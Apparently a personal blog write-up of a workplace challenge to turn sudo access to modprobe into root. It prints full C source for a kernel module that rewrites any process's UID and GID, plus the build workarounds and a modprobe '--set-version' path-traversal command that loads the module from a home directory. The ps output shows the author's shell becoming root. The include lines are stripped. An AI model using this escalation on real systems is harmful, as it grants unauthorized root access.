At work we're not root in our machines. This simplify the administrator's works and we don't need to be root for usual tasks. If I need to, I can ask my colleague two desks in front of me. But for a special case I was given modprobe access via sudo. I said to him "If I can use modprobe, I'm root !", he replied "No because modprobe only loads modules from /lib/modules, but this is your challenge !".
Challenge accepted and successfully completed ! I'm running an Ubuntu 10.4 LTS with a 2.6.32-41-generic kernel.
Module source
The module was easy to develop (even if it has been a while I havn't do kernel module). It was named beyrouth for "be root", but it's more generic. Indeed you can change UID and GID of any running process !
/*
* beyrouth.c - Change task's UID and GID
*/
#include /* Needed by all modules */
#include /* Needed for KERN_INFO */
#include
#include
#include
#include
// Copied from linux/cred.h
#define __task_cred(task) \
((const struct cred *)(rcu_dereference((task)->real_cred)))
// Copied from linux/cred.h
#define get_task_cred(task) \
({ \
struct cred *__cred; \
rcu_read_lock(); \
__cred = (struct cred *) __task_cred((task)); \
get_cred(__cred); \
rcu_read_unlock(); \
__cred; \
})
int pid = -1;
int uid = -1;
int gid = -1;
module_param(pid, int, 0);
module_param(uid, int, 0);
module_param(gid, int, 0);
int init_module(void)
{
struct cred *_cred;
struct pid* _pid;
struct task_struct* task;
printk(KERN_ERR "Hello world\n");
if (pid == -1)
{
printk(KERN_ERR "PID is missing\n");
return -2;
}
_pid = find_get_pid(pid);
if (!_pid)
{
printk(KERN_ERR "PID not found\n");
return -3;
}
task = pid_task(_pid, PIDTYPE_PID);
if (!task)
{
printk(KERN_ERR "Task not found\n");
return -4;
}
_cred = get_task_cred(task);
if (!_cred)
{
printk(KERN_ERR "Cred not found\n");
return -5;
}
if (uid != -1)
{
_cred->uid = uid;
_cred->euid = uid;
_cred->suid = uid;
_cred->fsuid = uid;
}
else
uid = _cred->uid;
if (gid != -1)
{
_cred->gid = gid;
_cred->egid = gid;
_cred->sgid = gid;
_cred->fsgid = gid;
}
else
gid = _cred->gid;
commit_creds(_cred);
printk(KERN_ERR "New UID %d GID %d\n", uid, gid);
// Don't load module
return -1;
}
void cleanup_module(void)
{
printk(KERN_INFO "Goodbye world\n");
}
MODULE_AUTHOR("Grégory Soutadé");
MODULE_DESCRIPTION("Change task's UID and GID");
MODULE_LICENSE("GPL");
The module is GPL because we want to access to GPL exported kernel's functions. Maybe it's not the most elegant way to do, but it works for now. It came with its Makefile :
obj-m += beyrouth.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
Modpost error
This pretty compile on a Debian VM. But with Ubuntu I have this f***ing error :
Building modules, stage 2.
MODPOST 0 modules
There is no resource on the net to bypass this compilation error.
ONE SOLUTION : I had "-n" switch activated in my GREP_OPTIONS (exported by .bashrc). Disable this swtich make the compilation works again !!
OLD ISSUE : The only issue seems to do a "make modules_prepare" on kernel sources, but I'm not root (for now) !! The solution is to copy kernel headers (take care of symbolic links)
mkdir linux
cp -r /lib/modules/2.6.32-41-generic/ linux
cp -r /usr/src/linux-headers-2.6.32-41* linux
cd linux/2.6.32-41-generic/
rm build
ln -s ../linux-headers-2.6.32-41-generic/ build
cd -
Edit your Makefile to change kernel header's root
make -C ./linux/$(shell uname -r)/build M=$(PWD) modules
Edit ./linux/2.6.32-41-generic/build/scripts/Makefile.modpost, change modules rules by :
modules := $(MODVERDIR)/../beyrouth.ko
Now you can run make, and it works !!! It's not sexy, I know...
Building modules, stage 2.
MODPOST 1 modules
Modprobe
The second problem is that modprobe looks for modules in /lib/modules/`uname -r`. The first thing to do is to create modules.dep beside beyrouth.o with :
beyrouth.ko:
After that you can open a new terminal and do "ps -o pid,user,group,args" :
PID USER GROUP COMMAND
13209 soutade soutade bash
13231 soutade soutade ps -o pid,user,group,args
Finally change kernel's version for modprobe to change kernel's module path :
sudo modprobe --set-version ../../home/soutade/beyrouth/ beyrouth pid=13209 uid=0 gid=0
FATAL: Error inserting beyrouth (/lib/modules/../../home/soutade/beyrouth
"Operation not permitted" is a valid return because we don't want to insert beyrouth.ko into kernel. dmesg tells us :
[533621.707288] Hello world
[533621.707293] New UID 0 GID 0
And "ps -o pid,user,group,args"
PID USER GROUP COMMAND
13209 root root bash
13236 root root ps -o pid,user,group,args
I now have a root terminal, even if I won't use it !